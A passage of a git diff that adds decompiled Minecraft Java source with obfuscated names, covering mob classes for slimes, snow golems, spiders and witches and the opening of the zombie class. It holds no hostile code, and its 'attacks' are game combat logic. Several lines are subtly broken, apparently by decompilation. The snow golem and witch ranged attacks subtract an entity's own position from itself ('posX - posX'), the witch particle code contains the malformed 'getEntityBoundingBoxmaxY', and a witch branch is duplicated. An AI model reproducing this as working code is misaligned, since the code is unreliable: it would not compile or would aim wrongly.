+    if ((canEntityBeSeen(p_175451_1_)) && (getDistanceSqToEntity(p_175451_1_) < 0.6D * var2 * 0.6D * var2) && (p_175451_1_.attackEntityFrom(net.minecraft.util.DamageSource.causeMobDamage(this), getAttackStrength())))
+    {
+      playSound("mob.attack", 1.0F, (rand.nextFloat() - rand.nextFloat()) * 0.2F + 1.0F);
+      func_174815_a(this, p_175451_1_);
+    }
+  }
+  
+  public float getEyeHeight()
+  {
+    return 0.625F * height;
+  }
+  
+
+
+
+  protected boolean canDamagePlayer()
+  {
+    return getSlimeSize() > 1;
+  }
+  
+
+
+
+  protected int getAttackStrength()
+  {
+    return getSlimeSize();
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.slime." + (getSlimeSize() > 1 ? "big" : "small");
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.slime." + (getSlimeSize() > 1 ? "big" : "small");
+  }
+  
+  protected net.minecraft.item.Item getDropItem()
+  {
+    return getSlimeSize() == 1 ? net.minecraft.init.Items.slime_ball : null;
+  }
+  
+
+
+
+  public boolean getCanSpawnHere()
+  {
+    Chunk var1 = worldObj.getChunkFromBlockCoords(new BlockPos(MathHelper.floor_double(posX), 0, MathHelper.floor_double(posZ)));
+    
+    if ((worldObj.getWorldInfo().getTerrainType() == net.minecraft.world.WorldType.FLAT) && (rand.nextInt(4) != 1))
+    {
+      return false;
+    }
+    
+
+    if (worldObj.getDifficulty() != EnumDifficulty.PEACEFUL)
+    {
+      BiomeGenBase var2 = worldObj.getBiomeGenForCoords(new BlockPos(MathHelper.floor_double(posX), 0, MathHelper.floor_double(posZ)));
+      
+      if ((var2 == BiomeGenBase.swampland) && (posY > 50.0D) && (posY < 70.0D) && (rand.nextFloat() < 0.5F) && (rand.nextFloat() < worldObj.getCurrentMoonPhaseFactor()) && (worldObj.getLightFromNeighbors(new BlockPos(this)) <= rand.nextInt(8)))
+      {
+        return super.getCanSpawnHere();
+      }
+      
+      if ((rand.nextInt(10) == 0) && (var1.getRandomWithSeed(987234911L).nextInt(10) == 0) && (posY < 40.0D))
+      {
+        return super.getCanSpawnHere();
+      }
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+  protected float getSoundVolume()
+  {
+    return 0.4F * getSlimeSize();
+  }
+  
+
+
+
+
+  public int getVerticalFaceSpeed()
+  {
+    return 0;
+  }
+  
+
+
+
+  protected boolean makesSoundOnJump()
+  {
+    return getSlimeSize() > 0;
+  }
+  
+
+
+
+  protected boolean makesSoundOnLand()
+  {
+    return getSlimeSize() > 2;
+  }
+  
+
+
+
+  protected void jump()
+  {
+    motionY = 0.41999998688697815D;
+    isAirBorne = true;
+  }
+  
+  public IEntityLivingData func_180482_a(DifficultyInstance p_180482_1_, IEntityLivingData p_180482_2_)
+  {
+    int var3 = rand.nextInt(3);
+    
+    if ((var3 < 2) && (rand.nextFloat() < 0.5F * p_180482_1_.func_180170_c()))
+    {
+      var3++;
+    }
+    
+    int var4 = 1 << var3;
+    setSlimeSize(var4);
+    return super.func_180482_a(p_180482_1_, p_180482_2_);
+  }
+  
+  class AISlimeAttack extends EntityAIBase
+  {
+    private EntitySlime field_179466_a = EntitySlime.this;
+    private int field_179465_b;
+    private static final String __OBFID = "CL_00002202";
+    
+    public AISlimeAttack()
+    {
+      setMutexBits(2);
+    }
+    
+    public boolean shouldExecute()
+    {
+      EntityLivingBase var1 = field_179466_a.getAttackTarget();
+      return var1 == null ? false : var1.isEntityAlive();
+    }
+    
+    public void startExecuting()
+    {
+      field_179465_b = 300;
+      super.startExecuting();
+    }
+    
+    public boolean continueExecuting()
+    {
+      EntityLivingBase var1 = field_179466_a.getAttackTarget();
+      return var1 != null;
+    }
+    
+    public void updateTask()
+    {
+      field_179466_a.faceEntity(field_179466_a.getAttackTarget(), 10.0F, 10.0F);
+      ((EntitySlime.SlimeMoveHelper)field_179466_a.getMoveHelper()).func_179920_a(field_179466_a.rotationYaw, field_179466_a.canDamagePlayer());
+    }
+  }
+  
+  class AISlimeFaceRandom extends EntityAIBase
+  {
+    private EntitySlime field_179461_a = EntitySlime.this;
+    private float field_179459_b;
+    private int field_179460_c;
+    private static final String __OBFID = "CL_00002198";
+    
+    public AISlimeFaceRandom()
+    {
+      setMutexBits(2);
+    }
+    
+    public boolean shouldExecute()
+    {
+      return (field_179461_a.getAttackTarget() == null) && ((field_179461_a.onGround) || (field_179461_a.isInWater()) || (field_179461_a.func_180799_ab()));
+    }
+    
+    public void updateTask()
+    {
+      if (--field_179460_c <= 0)
+      {
+        field_179460_c = (40 + field_179461_a.getRNG().nextInt(60));
+        field_179459_b = field_179461_a.getRNG().nextInt(360);
+      }
+      
+      ((EntitySlime.SlimeMoveHelper)field_179461_a.getMoveHelper()).func_179920_a(field_179459_b, false);
+    }
+  }
+  
+  class AISlimeFloat extends EntityAIBase
+  {
+    private EntitySlime field_179457_a = EntitySlime.this;
+    private static final String __OBFID = "CL_00002201";
+    
+    public AISlimeFloat()
+    {
+      setMutexBits(5);
+      ((PathNavigateGround)getNavigator()).func_179693_d(true);
+    }
+    
+    public boolean shouldExecute()
+    {
+      return (field_179457_a.isInWater()) || (field_179457_a.func_180799_ab());
+    }
+    
+    public void updateTask()
+    {
+      if (field_179457_a.getRNG().nextFloat() < 0.8F)
+      {
+        field_179457_a.getJumpHelper().setJumping();
+      }
+      
+      ((EntitySlime.SlimeMoveHelper)field_179457_a.getMoveHelper()).func_179921_a(1.2D);
+    }
+  }
+  
+  class AISlimeHop extends EntityAIBase
+  {
+    private EntitySlime field_179458_a = EntitySlime.this;
+    private static final String __OBFID = "CL_00002200";
+    
+    public AISlimeHop()
+    {
+      setMutexBits(5);
+    }
+    
+    public boolean shouldExecute()
+    {
+      return true;
+    }
+    
+    public void updateTask()
+    {
+      ((EntitySlime.SlimeMoveHelper)field_179458_a.getMoveHelper()).func_179921_a(1.0D);
+    }
+  }
+  
+  class SlimeMoveHelper extends EntityMoveHelper
+  {
+    private float field_179922_g;
+    private int field_179924_h;
+    private EntitySlime field_179925_i = EntitySlime.this;
+    private boolean field_179923_j;
+    private static final String __OBFID = "CL_00002199";
+    
+    public SlimeMoveHelper()
+    {
+      super();
+    }
+    
+    public void func_179920_a(float p_179920_1_, boolean p_179920_2_)
+    {
+      field_179922_g = p_179920_1_;
+      field_179923_j = p_179920_2_;
+    }
+    
+    public void func_179921_a(double p_179921_1_)
+    {
+      speed = p_179921_1_;
+      update = true;
+    }
+    
+    public void onUpdateMoveHelper()
+    {
+      entity.rotationYaw = limitAngle(entity.rotationYaw, field_179922_g, 30.0F);
+      entity.rotationYawHead = entity.rotationYaw;
+      entity.renderYawOffset = entity.rotationYaw;
+      
+      if (!update)
+      {
+        entity.setMoveForward(0.0F);
+      }
+      else
+      {
+        update = false;
+        
+        if (entity.onGround)
+        {
+          entity.setAIMoveSpeed((float)(speed * entity.getEntityAttribute(SharedMonsterAttributes.movementSpeed).getAttributeValue()));
+          
+          if (field_179924_h-- <= 0)
+          {
+            field_179924_h = field_179925_i.getJumpDelay();
+            
+            if (field_179923_j)
+            {
+              field_179924_h /= 3;
+            }
+            
+            field_179925_i.getJumpHelper().setJumping();
+            
+            if (field_179925_i.makesSoundOnJump())
+            {
+              field_179925_i.playSound(field_179925_i.getJumpSound(), field_179925_i.getSoundVolume(), ((field_179925_i.getRNG().nextFloat() - field_179925_i.getRNG().nextFloat()) * 0.2F + 1.0F) * 0.8F);
+            }
+          }
+          else
+          {
+            field_179925_i.moveStrafing = (field_179925_i.moveForward = 0.0F);
+            entity.setAIMoveSpeed(0.0F);
+          }
+        }
+        else
+        {
+          entity.setAIMoveSpeed((float)(speed * entity.getEntityAttribute(SharedMonsterAttributes.movementSpeed).getAttributeValue()));
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntitySnowman.java b/src/minecraft/net/minecraft/entity/monster/EntitySnowman.java
new file mode 100644
index 0000000..7ec0541
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntitySnowman.java
@@ -0,0 +1,123 @@
+package net.minecraft.entity.monster;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.IRangedAttackMob;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.projectile.EntitySnowball;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.pathfinding.PathNavigateGround;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.BiomeGenBase;
+
+public class EntitySnowman extends EntityGolem implements IRangedAttackMob
+{
+  private static final String __OBFID = "CL_00001650";
+  
+  public EntitySnowman(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.7F, 1.9F);
+    ((PathNavigateGround)getNavigator()).func_179690_a(true);
+    tasks.addTask(1, new net.minecraft.entity.ai.EntityAIArrowAttack(this, 1.25D, 20, 10.0F));
+    tasks.addTask(2, new EntityAIWander(this, 1.0D));
+    tasks.addTask(3, new EntityAIWatchClosest(this, net.minecraft.entity.player.EntityPlayer.class, 6.0F));
+    tasks.addTask(4, new net.minecraft.entity.ai.EntityAILookIdle(this));
+    targetTasks.addTask(1, new net.minecraft.entity.ai.EntityAINearestAttackableTarget(this, net.minecraft.entity.EntityLiving.class, 10, true, false, IMob.mobSelector));
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(4.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.20000000298023224D);
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    super.onLivingUpdate();
+    
+    if (!worldObj.isRemote)
+    {
+      int var1 = MathHelper.floor_double(posX);
+      int var2 = MathHelper.floor_double(posY);
+      int var3 = MathHelper.floor_double(posZ);
+      
+      if (isWet())
+      {
+        attackEntityFrom(DamageSource.drown, 1.0F);
+      }
+      
+      if (worldObj.getBiomeGenForCoords(new BlockPos(var1, 0, var3)).func_180626_a(new BlockPos(var1, var2, var3)) > 1.0F)
+      {
+        attackEntityFrom(DamageSource.onFire, 1.0F);
+      }
+      
+      for (int var4 = 0; var4 < 4; var4++)
+      {
+        var1 = MathHelper.floor_double(posX + (var4 % 2 * 2 - 1) * 0.25F);
+        var2 = MathHelper.floor_double(posY);
+        var3 = MathHelper.floor_double(posZ + (var4 / 2 % 2 * 2 - 1) * 0.25F);
+        
+        if ((worldObj.getBlockState(new BlockPos(var1, var2, var3)).getBlock().getMaterial() == net.minecraft.block.material.Material.air) && (worldObj.getBiomeGenForCoords(new BlockPos(var1, 0, var3)).func_180626_a(new BlockPos(var1, var2, var3)) < 0.8F) && (Blocks.snow_layer.canPlaceBlockAt(worldObj, new BlockPos(var1, var2, var3))))
+        {
+          worldObj.setBlockState(new BlockPos(var1, var2, var3), Blocks.snow_layer.getDefaultState());
+        }
+      }
+    }
+  }
+  
+  protected Item getDropItem()
+  {
+    return Items.snowball;
+  }
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    int var3 = rand.nextInt(16);
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      dropItem(Items.snowball, 1);
+    }
+  }
+  
+
+
+
+  public void attackEntityWithRangedAttack(EntityLivingBase p_82196_1_, float p_82196_2_)
+  {
+    EntitySnowball var3 = new EntitySnowball(worldObj, this);
+    double var4 = posY + p_82196_1_.getEyeHeight() - 1.100000023841858D;
+    double var6 = posX - posX;
+    double var8 = var4 - posY;
+    double var10 = posZ - posZ;
+    float var12 = MathHelper.sqrt_double(var6 * var6 + var10 * var10) * 0.2F;
+    var3.setThrowableHeading(var6, var8 + var12, var10, 1.6F, 12.0F);
+    playSound("random.bow", 1.0F, 1.0F / (getRNG().nextFloat() * 0.4F + 0.8F));
+    worldObj.spawnEntityInWorld(var3);
+  }
+  
+  public float getEyeHeight()
+  {
+    return 1.7F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntitySpider.java b/src/minecraft/net/minecraft/entity/monster/EntitySpider.java
new file mode 100644
index 0000000..ef4499b
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntitySpider.java
@@ -0,0 +1,297 @@
+package net.minecraft.entity.monster;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.EntityCreature;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.EnumCreatureAttribute;
+import net.minecraft.entity.IEntityLivingData;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIAttackOnCollide;
+import net.minecraft.entity.ai.EntityAILeapAtTarget;
+import net.minecraft.entity.ai.EntityAILookIdle;
+import net.minecraft.entity.ai.EntityAINearestAttackableTarget;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.pathfinding.PathNavigate;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.DifficultyInstance;
+import net.minecraft.world.World;
+
+public class EntitySpider extends EntityMob
+{
+  private static final String __OBFID = "CL_00001699";
+  
+  public EntitySpider(World worldIn)
+  {
+    super(worldIn);
+    setSize(1.4F, 0.9F);
+    tasks.addTask(1, new net.minecraft.entity.ai.EntityAISwimming(this));
+    tasks.addTask(2, field_175455_a);
+    tasks.addTask(3, new EntityAILeapAtTarget(this, 0.4F));
+    tasks.addTask(4, new AISpiderAttack(EntityPlayer.class));
+    tasks.addTask(4, new AISpiderAttack(EntityIronGolem.class));
+    tasks.addTask(5, new EntityAIWander(this, 0.8D));
+    tasks.addTask(6, new EntityAIWatchClosest(this, EntityPlayer.class, 8.0F));
+    tasks.addTask(6, new EntityAILookIdle(this));
+    targetTasks.addTask(1, new net.minecraft.entity.ai.EntityAIHurtByTarget(this, false, new Class[0]));
+    targetTasks.addTask(2, new AISpiderTarget(EntityPlayer.class));
+    targetTasks.addTask(3, new AISpiderTarget(EntityIronGolem.class));
+  }
+  
+  protected PathNavigate func_175447_b(World worldIn)
+  {
+    return new net.minecraft.pathfinding.PathNavigateClimber(this, worldIn);
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    dataWatcher.addObject(16, new Byte((byte)0));
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    super.onUpdate();
+    
+    if (!worldObj.isRemote)
+    {
+      setBesideClimbableBlock(isCollidedHorizontally);
+    }
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(16.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.30000001192092896D);
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return "mob.spider.say";
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return "mob.spider.say";
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return "mob.spider.death";
+  }
+  
+  protected void func_180429_a(BlockPos p_180429_1_, Block p_180429_2_)
+  {
+    playSound("mob.spider.step", 0.15F, 1.0F);
+  }
+  
+  protected Item getDropItem()
+  {
+    return Items.string;
+  }
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    super.dropFewItems(p_70628_1_, p_70628_2_);
+    
+    if ((p_70628_1_) && ((rand.nextInt(3) == 0) || (rand.nextInt(1 + p_70628_2_) > 0)))
+    {
+      dropItem(Items.spider_eye, 1);
+    }
+  }
+  
+
+
+
+  public boolean isOnLadder()
+  {
+    return isBesideClimbableBlock();
+  }
+  
+
+
+
+  public void setInWeb() {}
+  
+
+
+
+  public EnumCreatureAttribute getCreatureAttribute()
+  {
+    return EnumCreatureAttribute.ARTHROPOD;
+  }
+  
+  public boolean isPotionApplicable(PotionEffect p_70687_1_)
+  {
+    return p_70687_1_.getPotionID() == poisonid ? false : super.isPotionApplicable(p_70687_1_);
+  }
+  
+
+
+
+
+  public boolean isBesideClimbableBlock()
+  {
+    return (dataWatcher.getWatchableObjectByte(16) & 0x1) != 0;
+  }
+  
+
+
+
+
+  public void setBesideClimbableBlock(boolean p_70839_1_)
+  {
+    byte var2 = dataWatcher.getWatchableObjectByte(16);
+    
+    if (p_70839_1_)
+    {
+      var2 = (byte)(var2 | 0x1);
+    }
+    else
+    {
+      var2 = (byte)(var2 & 0xFFFFFFFE);
+    }
+    
+    dataWatcher.updateObject(16, Byte.valueOf(var2));
+  }
+  
+  public IEntityLivingData func_180482_a(DifficultyInstance p_180482_1_, IEntityLivingData p_180482_2_)
+  {
+    Object p_180482_2_1 = super.func_180482_a(p_180482_1_, p_180482_2_);
+    
+    if (worldObj.rand.nextInt(100) == 0)
+    {
+      EntitySkeleton var3 = new EntitySkeleton(worldObj);
+      var3.setLocationAndAngles(posX, posY, posZ, rotationYaw, 0.0F);
+      var3.func_180482_a(p_180482_1_, null);
+      worldObj.spawnEntityInWorld(var3);
+      var3.mountEntity(this);
+    }
+    
+    if (p_180482_2_1 == null)
+    {
+      p_180482_2_1 = new GroupData();
+      
+      if ((worldObj.getDifficulty() == net.minecraft.world.EnumDifficulty.HARD) && (worldObj.rand.nextFloat() < 0.1F * p_180482_1_.func_180170_c()))
+      {
+        ((GroupData)p_180482_2_1).func_111104_a(worldObj.rand);
+      }
+    }
+    
+    if ((p_180482_2_1 instanceof GroupData))
+    {
+      int var5 = field_111105_a;
+      
+      if ((var5 > 0) && (Potion.potionTypes[var5] != null))
+      {
+        addPotionEffect(new PotionEffect(var5, Integer.MAX_VALUE));
+      }
+    }
+    
+    return (IEntityLivingData)p_180482_2_1;
+  }
+  
+  public float getEyeHeight()
+  {
+    return 0.65F;
+  }
+  
+  class AISpiderAttack extends EntityAIAttackOnCollide
+  {
+    private static final String __OBFID = "CL_00002197";
+    
+    public AISpiderAttack(Class p_i45819_2_)
+    {
+      super(p_i45819_2_, 1.0D, true);
+    }
+    
+    public boolean continueExecuting()
+    {
+      float var1 = attacker.getBrightness(1.0F);
+      
+      if ((var1 >= 0.5F) && (attacker.getRNG().nextInt(100) == 0))
+      {
+        attacker.setAttackTarget(null);
+        return false;
+      }
+      
+
+      return super.continueExecuting();
+    }
+    
+
+    protected double func_179512_a(EntityLivingBase p_179512_1_)
+    {
+      return 4.0F + width;
+    }
+  }
+  
+  class AISpiderTarget extends EntityAINearestAttackableTarget
+  {
+    private static final String __OBFID = "CL_00002196";
+    
+    public AISpiderTarget(Class p_i45818_2_)
+    {
+      super(p_i45818_2_, true);
+    }
+    
+    public boolean shouldExecute()
+    {
+      float var1 = taskOwner.getBrightness(1.0F);
+      return var1 >= 0.5F ? false : super.shouldExecute();
+    }
+  }
+  
+  public static class GroupData implements IEntityLivingData {
+    public int field_111105_a;
+    private static final String __OBFID = "CL_00001700";
+    
+    public GroupData() {}
+    
+    public void func_111104_a(Random p_111104_1_) {
+      int var2 = p_111104_1_.nextInt(5);
+      
+      if (var2 <= 1)
+      {
+        field_111105_a = moveSpeedid;
+      }
+      else if (var2 <= 2)
+      {
+        field_111105_a = damageBoostid;
+      }
+      else if (var2 <= 3)
+      {
+        field_111105_a = regenerationid;
+      }
+      else if (var2 <= 4)
+      {
+        field_111105_a = invisibilityid;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntityWitch.java b/src/minecraft/net/minecraft/entity/monster/EntityWitch.java
new file mode 100644
index 0000000..58ad848
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntityWitch.java
@@ -0,0 +1,289 @@
+package net.minecraft.entity.monster;
+
+import java.util.Iterator;
+import java.util.List;
+import java.util.Random;
+import java.util.UUID;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.IRangedAttackMob;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIArrowAttack;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.EntityAIWander;
+import net.minecraft.entity.ai.EntityAIWatchClosest;
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.projectile.EntityPotion;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemPotion;
+import net.minecraft.item.ItemStack;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityWitch extends EntityMob implements IRangedAttackMob
+{
+  private static final UUID field_110184_bp = UUID.fromString("5CD17E52-A79A-43D3-A529-90FDE04B181E");
+  private static final AttributeModifier field_110185_bq = new AttributeModifier(field_110184_bp, "Drinking speed penalty", -0.25D, 0).setSaved(false);
+  
+
+  private static final Item[] witchDrops = { Items.glowstone_dust, Items.sugar, Items.redstone, Items.spider_eye, Items.glass_bottle, Items.gunpowder, Items.stick, Items.stick };
+  
+
+  private int witchAttackTimer;
+  
+
+  private static final String __OBFID = "CL_00001701";
+  
+
+  public EntityWitch(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.6F, 1.95F);
+    tasks.addTask(1, new net.minecraft.entity.ai.EntityAISwimming(this));
+    tasks.addTask(2, new EntityAIArrowAttack(this, 1.0D, 60, 10.0F));
+    tasks.addTask(2, new EntityAIWander(this, 1.0D));
+    tasks.addTask(2, field_175455_a);
+    tasks.addTask(3, new EntityAIWatchClosest(this, EntityPlayer.class, 8.0F));
+    tasks.addTask(3, new net.minecraft.entity.ai.EntityAILookIdle(this));
+    targetTasks.addTask(1, new net.minecraft.entity.ai.EntityAIHurtByTarget(this, false, new Class[0]));
+    targetTasks.addTask(2, new net.minecraft.entity.ai.EntityAINearestAttackableTarget(this, EntityPlayer.class, true));
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+    getDataWatcher().addObject(21, Byte.valueOf((byte)0));
+  }
+  
+
+
+
+  protected String getLivingSound()
+  {
+    return null;
+  }
+  
+
+
+
+  protected String getHurtSound()
+  {
+    return null;
+  }
+  
+
+
+
+  protected String getDeathSound()
+  {
+    return null;
+  }
+  
+
+
+
+  public void setAggressive(boolean p_82197_1_)
+  {
+    getDataWatcher().updateObject(21, Byte.valueOf((byte)(p_82197_1_ ? 1 : 0)));
+  }
+  
+
+
+
+  public boolean getAggressive()
+  {
+    return getDataWatcher().getWatchableObjectByte(21) == 1;
+  }
+  
+  protected void applyEntityAttributes()
+  {
+    super.applyEntityAttributes();
+    getEntityAttribute(SharedMonsterAttributes.maxHealth).setBaseValue(26.0D);
+    getEntityAttribute(SharedMonsterAttributes.movementSpeed).setBaseValue(0.25D);
+  }
+  
+
+
+
+
+  public void onLivingUpdate()
+  {
+    if (!worldObj.isRemote)
+    {
+      if (getAggressive())
+      {
+        if (witchAttackTimer-- <= 0)
+        {
+          setAggressive(false);
+          ItemStack var1 = getHeldItem();
+          setCurrentItemOrArmor(0, null);
+          
+          if ((var1 != null) && (var1.getItem() == Items.potionitem))
+          {
+            List var2 = Items.potionitem.getEffects(var1);
+            
+            if (var2 != null)
+            {
+              Iterator var3 = var2.iterator();
+              
+              while (var3.hasNext())
+              {
+                PotionEffect var4 = (PotionEffect)var3.next();
+                addPotionEffect(new PotionEffect(var4));
+              }
+            }
+          }
+          
+          getEntityAttribute(SharedMonsterAttributes.movementSpeed).removeModifier(field_110185_bq);
+        }
+      }
+      else
+      {
+        short var5 = -1;
+        
+        if ((rand.nextFloat() < 0.15F) && (isInsideOfMaterial(net.minecraft.block.material.Material.water)) && (!isPotionActive(Potion.waterBreathing)))
+        {
+          var5 = 8237;
+        }
+        else if ((rand.nextFloat() < 0.15F) && (isBurning()) && (!isPotionActive(Potion.fireResistance)))
+        {
+          var5 = 16307;
+        }
+        else if ((rand.nextFloat() < 0.05F) && (getHealth() < getMaxHealth()))
+        {
+          var5 = 16341;
+        }
+        else if ((rand.nextFloat() < 0.25F) && (getAttackTarget() != null) && (!isPotionActive(Potion.moveSpeed)) && (getAttackTarget().getDistanceSqToEntity(this) > 121.0D))
+        {
+          var5 = 16274;
+        }
+        else if ((rand.nextFloat() < 0.25F) && (getAttackTarget() != null) && (!isPotionActive(Potion.moveSpeed)) && (getAttackTarget().getDistanceSqToEntity(this) > 121.0D))
+        {
+          var5 = 16274;
+        }
+        
+        if (var5 > -1)
+        {
+          setCurrentItemOrArmor(0, new ItemStack(Items.potionitem, 1, var5));
+          witchAttackTimer = getHeldItem().getMaxItemUseDuration();
+          setAggressive(true);
+          IAttributeInstance var6 = getEntityAttribute(SharedMonsterAttributes.movementSpeed);
+          var6.removeModifier(field_110185_bq);
+          var6.applyModifier(field_110185_bq);
+        }
+      }
+      
+      if (rand.nextFloat() < 7.5E-4F)
+      {
+        worldObj.setEntityState(this, (byte)15);
+      }
+    }
+    
+    super.onLivingUpdate();
+  }
+  
+  public void handleHealthUpdate(byte p_70103_1_)
+  {
+    if (p_70103_1_ == 15)
+    {
+      for (int var2 = 0; var2 < rand.nextInt(35) + 10; var2++)
+      {
+        worldObj.spawnParticle(EnumParticleTypes.SPELL_WITCH, posX + rand.nextGaussian() * 0.12999999523162842D, getEntityBoundingBoxmaxY + 0.5D + rand.nextGaussian() * 0.12999999523162842D, posZ + rand.nextGaussian() * 0.12999999523162842D, 0.0D, 0.0D, 0.0D, new int[0]);
+      }
+      
+    }
+    else {
+      super.handleHealthUpdate(p_70103_1_);
+    }
+  }
+  
+
+
+
+  protected float applyPotionDamageCalculations(DamageSource p_70672_1_, float p_70672_2_)
+  {
+    p_70672_2_ = super.applyPotionDamageCalculations(p_70672_1_, p_70672_2_);
+    
+    if (p_70672_1_.getEntity() == this)
+    {
+      p_70672_2_ = 0.0F;
+    }
+    
+    if (p_70672_1_.isMagicDamage())
+    {
+      p_70672_2_ = (float)(p_70672_2_ * 0.15D);
+    }
+    
+    return p_70672_2_;
+  }
+  
+
+
+
+  protected void dropFewItems(boolean p_70628_1_, int p_70628_2_)
+  {
+    int var3 = rand.nextInt(3) + 1;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      int var5 = rand.nextInt(3);
+      Item var6 = witchDrops[rand.nextInt(witchDrops.length)];
+      
+      if (p_70628_2_ > 0)
+      {
+        var5 += rand.nextInt(p_70628_2_ + 1);
+      }
+      
+      for (int var7 = 0; var7 < var5; var7++)
+      {
+        dropItem(var6, 1);
+      }
+    }
+  }
+  
+
+
+
+  public void attackEntityWithRangedAttack(EntityLivingBase p_82196_1_, float p_82196_2_)
+  {
+    if (!getAggressive())
+    {
+      EntityPotion var3 = new EntityPotion(worldObj, this, 32732);
+      double var4 = posY + p_82196_1_.getEyeHeight() - 1.100000023841858D;
+      rotationPitch -= -20.0F;
+      double var6 = posX + motionX - posX;
+      double var8 = var4 - posY;
+      double var10 = posZ + motionZ - posZ;
+      float var12 = MathHelper.sqrt_double(var6 * var6 + var10 * var10);
+      
+      if ((var12 >= 8.0F) && (!p_82196_1_.isPotionActive(Potion.moveSlowdown)))
+      {
+        var3.setPotionDamage(32698);
+      }
+      else if ((p_82196_1_.getHealth() >= 8.0F) && (!p_82196_1_.isPotionActive(Potion.poison)))
+      {
+        var3.setPotionDamage(32660);
+      }
+      else if ((var12 <= 3.0F) && (!p_82196_1_.isPotionActive(Potion.weakness)) && (rand.nextFloat() < 0.25F))
+      {
+        var3.setPotionDamage(32696);
+      }
+      
+      var3.setThrowableHeading(var6, var8 + var12 * 0.2F, var10, 0.75F, 8.0F);
+      worldObj.spawnEntityInWorld(var3);
+    }
+  }
+  
+  public float getEyeHeight()
+  {
+    return 1.62F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/monster/EntityZombie.java b/src/minecraft/net/minecraft/entity/monster/EntityZombie.java
new file mode 100644
index 0000000..d619987
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/monster/EntityZombie.java
@@ -0,0 +1,788 @@
+package net.minecraft.entity.monster;
+
+import java.util.Calendar;
+import java.util.List;
+import java.util.Random;
+import java.util.UUID;
+import net.minecraft.block.Block;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.Entity;
+import net.minecraft.entity.EntityLiving;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.EnumCreatureAttribute;
+import net.minecraft.entity.IEntityLivingData;
+import net.minecraft.entity.SharedMonsterAttributes;
+import net.minecraft.entity.ai.EntityAIAttackOnCollide;
+import net.minecraft.entity.ai.EntityAIBreakDoor;
+import net.minecraft.entity.ai.EntityAIMoveTowardsRestriction;
+import net.minecraft.entity.ai.EntityAINearestAttackableTarget;
+import net.minecraft.entity.ai.EntityAITasks;
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.entity.ai.attributes.BaseAttributeMap;
+import net.minecraft.entity.ai.attributes.IAttribute;
